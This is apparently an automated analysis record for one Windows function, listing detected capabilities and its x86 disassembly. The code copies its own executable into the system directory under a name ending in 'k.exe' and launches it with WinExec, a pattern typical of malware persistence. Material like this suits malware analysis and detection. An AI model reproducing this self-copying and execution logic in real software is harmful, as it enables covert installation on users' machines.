Function at 0x401b9b
Capabilities:
Copy file
Create process on windows
Create thread
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
push 0x4040a4
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, 0x404010
test eax, eax
jne 0x401c1f
jmp 0x401bdb
mov dword [ebp - 0xc], 1
mov ebx, 0x644
push 0x40409c
push ebx
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
test eax, eax
mov dword [ebp + 0x10], eax
jne 0x401c79
jmp 0x401c15
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401be7
and byte [0x40408f], 0
push esi
call section..text
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push esi
mov ebx, eax
call section..text
cmp ebx, 0x1f
pop ecx
jle 0x401c4c
lea eax, [ebx + 0x403ff1]
push eax
push esi
call edi
lea eax, [ebp + 0x10]
xor ebx, ebx
push eax
push ebx
push dword [ebp + 8]
push 0x401835
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp dword [0x4040c4], ebx
jne 0x401be2
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401c63
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
xor eax, eax
mov dword [ebp - 8], ecx
push eax
push eax
push eax
push 6
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
xor ecx, ecx
cmp eax, ecx
jne 0x401cc1
jmp 0x401cb3
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x401eed
jmp 0x401ce1
cmp dword [ebp - 0xc], ecx
mov dword [0x4040c0], eax
jne 0x401eff
cmp dword [ebp - 8], ecx
je 0x401e9d
push ebx
push ecx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [0x4040c0]
push esi
mov dword [eax], 1
call section..text
mov eax, dword [0x4040c0]
add esp, 0x10
add eax, 4
push esi
push eax
call edi
push esi
call section..text
pop ecx
mov ebx, 0x104
lea eax, [ebp - 0x214]
push ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
jmp 0x401d4e
lea eax, [ebp - 0x110]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x110]
push 0x404094
push eax
call ebx
jmp 0x401d82
push esi
call section..text
pop ecx
lea eax, [ebp - 0x110]
push esi
push eax
call ebx
push esi
call section..text
pop ecx
jmp 0x401db6
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x110]
sub ecx, 4
add eax, ecx
jmp 0x401de0
cmp byte [eax], 0x2e
jne 0x401de8
and byte [eax], 0
xor eax, eax
lea edi, [ebp - 7]
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 8]
mov byte [ebp - 8], 0x6b
push eax
lea eax, [ebp - 0x110]
push eax
mov byte [ebp - 7], 0x2e
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x78
mov byte [ebp - 4], 0x65
call ebx
jmp 0x401e2c
lea eax, [ebp - 0x110]
push 0
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
jmp 0x401e62
lea eax, [ebp - 0x110]
push 0x404098
push eax
call ebx
lea eax, [ebp - 0x110]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
jmp 0x401e90
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401eed
mov ecx, dword [eax]
cmp ecx, 0x32
jge 0x401ed3
inc ecx
mov dword [eax], ecx
jmp 0x401eb3
push esi
call section..text
mov eax, dword [0x4040c0]
pop ecx
push esi
mov ecx, dword [eax]
shl ecx, 5
lea eax, [ecx + eax - 0x1c]
push eax
call edi
push esi
call section..text
pop ecx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x401eed
push dword [ebp + 8]
call fcn.00401955
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
push dword [0x4040c0]
call fcn.0040133d
pop ecx
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401eff